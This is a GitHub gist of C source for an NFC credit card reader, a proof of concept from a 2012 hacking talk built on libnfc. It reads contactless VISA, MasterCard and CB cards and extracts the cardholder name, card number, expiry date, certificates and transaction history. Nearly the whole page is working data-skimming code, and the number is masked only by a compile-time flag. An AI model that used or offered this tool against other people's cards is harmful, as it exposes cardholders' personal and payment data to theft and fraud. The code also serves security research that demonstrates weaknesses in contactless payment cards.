Skip to content

Instantly share code, notes, and snippets.

@bluec0re
Last active February 20, 2020 13:32
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save bluec0re/7b32da7ec317b1f1c812 to your computer and use it in GitHub Desktop.
Save bluec0re/7b32da7ec317b1f1c812 to your computer and use it in GitHub Desktop.
/*
nfc_creditcard_reader by Jose Miguel Esparza (jesparza AT eternal-todo.com)
http://eternal-todo.com
Based on the PoC readnfccc by Renaud Lifchitz (renaud.lifchitz@bt.com)
Fixed to work with libnfc 1.7.4 by bluec0re
License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)
* Introduction:
"Quick and dirty" proof-of-concept
Open source tool developped and showed for Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)"
Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...)
* Requirements:
libnfc (>= 1.6.0-rc1) and a suitable NFC reader (http://www.libnfc.org/documentation/hardware/compatibility)
* Compilation:
$ gcc nfc_creditcard_reader.c -lnfc -o nfc_creditcard_reader
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <nfc/nfc.h>
// declare func
int pn53x_transceive(struct nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, uint8_t *pbtRx, const size_t szRxLen, int timeout);
// Choose whether to mask the PAN or not
#define MASKED 1
#define MAX_FRAME_LEN 300
void show(size_t recvlg, uint8_t *recv) {
int i;
for (i=0;i<(int) recvlg;i++) {
printf("%02x",(unsigned int) recv[i]);
}
printf("\n");
}
static void close(nfc_device*pnd, nfc_context* context) {
printf("[-] Closing device\n");
if(pnd)
nfc_close(pnd);
if(context)
nfc_exit(context);
}
int main(int argc, char **argv) {
int aid_found = 0;
nfc_context *context;
nfc_device* pnd;
nfc_modulation nm;
nfc_target ant[1];
uint8_t abtRx[MAX_FRAME_LEN];
uint8_t abtTx[MAX_FRAME_LEN];
size_t szRx = sizeof(abtRx);
size_t szTx;
uint8_t START_14443A[] = {0x4A, 0x01, 0x00}; //InListPassiveTarget
uint8_t START_14443B[] = {0x4A, 0x01, 0x03, 0x00}; //InListPassiveTarget
uint8_t SELECT_APP[4][15] = {{0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x03,0x10,0x10,0x00},// InDataExchange VISA
{0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x04,0x10,0x10,0x00}, // InDataExchange MasterCard
{0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x03,0x20,0x10,0x00}, // InDataExchange VISA Electron
{0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x42,0x10,0x10,0x00}}; // InDataExchange CB (Carte Bleu)
uint8_t READ_RECORD[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x0C, 0x00}; //InDataExchange
unsigned char *res, output[50], c, amount[10],msg[100];
unsigned int i, j, expiry, m, n;
printf("[-] Connecting...\n");
nfc_init(&context);
pnd = nfc_open(context,NULL);
if (pnd == NULL) {
printf("[x] Unable to connect to NFC device.\n");
close(pnd, context);
return(1);
}
printf("[+] Connected to NFC reader\n");
nfc_initiator_init(pnd);
// Checking card type...
printf("[-] Looking for known card types...\n");
memset(&abtRx,255,MAX_FRAME_LEN);
szRx = sizeof(abtRx);
int numBytes;
// 14443A Card
if (numBytes = pn53x_transceive(pnd, START_14443A, sizeof(START_14443A), abtRx, szRx, 5000)) {
if (numBytes > 0){
printf("[+] 14443A card found!!\n");
}
else{
// 14443B Card
if (numBytes = pn53x_transceive(pnd, START_14443B, sizeof(START_14443B), abtRx, szRx, 5000)) {
if (numBytes > 0){
printf("[+] 14443B card found!!\n");
}
else{
printf("[x] Card not found or not supported!! Supported types: 14443A, 14443B.\n");
close(pnd, context);
return(1);
}
}
else{
nfc_perror(pnd, "START_14443B");
close(pnd, context);
return(1);
}
}
}
else{
nfc_perror(pnd, "START_14443A");
close(pnd, context);
return(1);
}
// Looking for a valid AID (Application Identifier): VISA, VISA Electron, Mastercard, CB
printf("[-] Looking for known AIDs (VISA, VISA Electron, Mastercard, CB)...\n");
memset(&abtRx,255,MAX_FRAME_LEN);
for (i=0; i<4; i++){
if (!pn53x_transceive(pnd, SELECT_APP[i], sizeof(SELECT_APP[i]), abtRx, szRx, 0)) {
printf("[x] Error sending command!!\n");
nfc_perror(pnd, "SELECT_APP_VISA");
close(pnd, context);
return(1);
}
else{
//show(szRx, abtRx);
res = abtRx;
if (*(res+1)==0x6a&&*(res+2)==0x82) {
// AID not found
continue;
}
else if (*(res+1)==0x6a&&*(res+2)==0x86) {
printf("[!] Wrong parameters!\n\n");
}
else if (*(res+1)==0x6f){
switch (i){
case 0:
printf("[+] VISA found!!\n");
break;
case 1:
printf("[+] MASTERCARD found!!\n");
break;
case 2:
printf("[+] VISA ELECTRON found!!\n");
break;
case 3:
printf("[+] CB found!!\n");
break;
}
printf("\n");
aid_found = 1;
break;
}
}
}
if (!aid_found){
printf("[x] AID not supported!! Supported AIDs: VISA, VISA ELECTRON, MASTERCARD, CB.\n");
close(pnd, context);
return(1);
}
// Looking for data in the records
memset(&abtRx,255,MAX_FRAME_LEN);
for (m=12;m<=28;) {
READ_RECORD[5] = m;
for (n=0;n<=10;n++) {
READ_RECORD[4] = n;
szRx = sizeof(abtRx);
//printf("\n> Sending READ RECORD...(%2x-%2x)\n",n,m);
if (!pn53x_transceive(pnd, READ_RECORD, sizeof(READ_RECORD), abtRx, szRx, 0)) {
nfc_perror(pnd, "READ_RECORD");
close(pnd, context);
return(1);
}
res = abtRx;
if (*(res+1)==0x6a&& (*(res+2)==0x82 || *(res+2)==0x83)) {
// File or application not found
continue;
}
else if (*(res+1)==0x6a&&*(res+2)==0x86) {
// Wrong parameters
continue;
}
else{
/* Look for cardholder name */
res = abtRx;
for (i=0;i<(unsigned int) szRx-1;i++) {
if (*res==0x5f&&*(res+1)==0x20) {
strncpy(output, res+3, (int) *(res+2));
output[(int) *(res+2)]=0;
printf("Cardholder name: %s\n",output);
}
res++;
}
/* Look for PAN & Expiry date */
res = abtRx;
for (i=0;i<(unsigned int) szRx-1;i++) {
if ((*res==0x4d&&*(res+1)==0x57)||(*res==0x9f&&*(res+1)==0x6b)) {
strncpy(output, res+3, 13);
output[11]=0;
printf("PAN:");
for (j=0;j<8;j++) {
if (j%2==0) printf(" ");
c = output[j];
if (MASKED&j>=1&j<=5) {
printf("**");
}
else {
printf("%02x",c&0xff);
}
}
printf("\n");
expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
break;
}
res++;
}
/* Look for public certificates */
res = abtRx;
szRx = sizeof(abtRx);
for (i=0;i<(unsigned int) szRx-1;i++) {
if (*res==0x9f && *(res+1)==0x46 && *(res+2)==0x81) {
printf("ICC Public Key Certificate:\n");
int k;
for (k=4;k<(int)148;k++) {
printf("%02x",(unsigned int)*(res+k));
}
printf("\n\n");
break;
}
res++;
}
/* Look for public certificates */
res = abtRx;
szRx = sizeof(abtRx);
for (i=0;i<(unsigned int) szRx-1;i++) {
if (*res==0x90 && *(res+1)==0x81 && *(res+2)==0xb0) {
printf("Issuer Public Key Certificate:\n");
int k;
for (k=3;k<(int)173;k++) {
printf("%02x",(unsigned int)*(res+k));
}
printf("\n\n");
break;
}
res++;
}
// Looking for transaction logs
szRx = sizeof(abtRx);
if (szRx==18) { // Non-empty transaction
//show(szRx, abtRx);
res = abtRx;
/* Look for date */
sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);
/* Look for transaction type */
if (res[15]==0) {
sprintf(msg,"%s %s",msg,"Payment");
}
else if (res[15]==1) {
sprintf(msg,"%s %s",msg,"Withdrawal");
}
/* Look for amount*/
sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
sprintf(msg,"%s\t%d,%02x€",msg,atoi(amount),res[6]);
printf("%s\n",msg);
}
memset(&abtRx,255,MAX_FRAME_LEN);
}
}
m += 8;
}
close(pnd, context);
return(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment